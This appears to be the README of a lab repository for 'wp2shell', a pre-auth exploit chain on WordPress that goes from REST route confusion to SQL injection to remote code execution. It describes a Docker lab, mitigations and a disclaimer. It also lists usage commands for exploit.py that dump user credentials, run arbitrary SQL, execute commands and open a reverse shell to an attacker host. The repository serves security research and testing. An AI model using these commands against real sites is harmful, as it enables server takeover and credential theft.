
WordPress Core Pre-Auth RCE — Route Confusion + SQL Injection chained to Remote Code Execution
| CVE | CVE-2026-63030 + CVE-2026-60137 |
| Alias | wp2shell |
| Vulnerability Type | REST API Route Confusion → SQL Injection → RCE |
| Severity | Critical — CVSS 10.0 |
| Affected | WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 |
| Fixed in | WordPress 6.8.6, 6.9.5, 7.0.2 |
| Auth Required | None (Pre-Auth) |
wp2shell is the name for the exploit chain combining 2 vulnerabilities in WordPress Core:
/wp-json/batch/v1) index mismatch between $matches[] and $validation[] arrays when a sub-request has an invalid path, causing the next sub-request to run under the wrong handler → bypass REST API schema validation.WP_Query::get_posts() does not sanitize the author__not_in parameter when it receives a string instead of an array → raw SQL injection.The two bugs combined form a complete Pre-Auth RCE chain — from 0 credentials to shell on the server through just HTTP requests.
Route Confusion (bypass REST validation)
→ SQL Injection (read DB: users, secret keys)
→ oEmbed cache poisoning (read-only SQLi → write primitive)
→ customize_changeset (create new admin)
→ Plugin upload (webshell)
→ Remote Code Execution
Read full technical analysis at REPORT.md
Lab uses Docker Compose with 3 containers:
setup.sh)cd wp2shell-lab
bash setup.sh
Script automatically:
Upon completion, it will display "WP2Shell Lab — READY!" along with login information.
cd wp2shell-lab
docker compose down -v
# Kiểm tra vulnerability
python3 exploit.py check http://TARGET:8080
# Kiểm tra + xác nhận SQLi
python3 exploit.py check --confirm-sqli http://TARGET:8080
# Đọc user credentials từ database
python3 exploit.py read --preset users http://TARGET:8080
# Chạy câu SQL tùy ý
python3 exploit.py read --query "SELECT @@version" http://TARGET:8080
# Full RCE — chạy command
python3 exploit.py shell --cmd "id" http://TARGET:8080
# Reverse shell
python3 exploit.py shell --reverse ATTACKER_IP:PORT http://TARGET:8080
PoC script rewritten from scratch, reference from Icex0/wp2shell-poc. Uses Python 3 stdlib only, no additional dependencies to install.
| Condition | Requirement |
|---|---|
| WordPress version | 6.9.0–6.9.4 or 7.0.0–7.0.1 |
| REST API batch endpoint | Accessible (enabled by default) |
| Authentication | Not required |
| Network | Attacker can reach WordPress |
add_filter('rest_batch_disabled', '__return_true'); to functions.php./wp-json/batch/v1 containing SQL keywords.This repository is created for research, learning, and CTF purposes in a controlled lab environment. Do not use to attack real systems. Any unauthorized exploitation is illegal.
| Container |
|---|
| Image |
|---|
| Port |
|---|
| WordPress (vulnerable) | wordpress:6.9.4 | 8080 |
| MySQL | mysql:8.0 | internal |
| phpMyAdmin | phpmyadmin:latest | 8081 |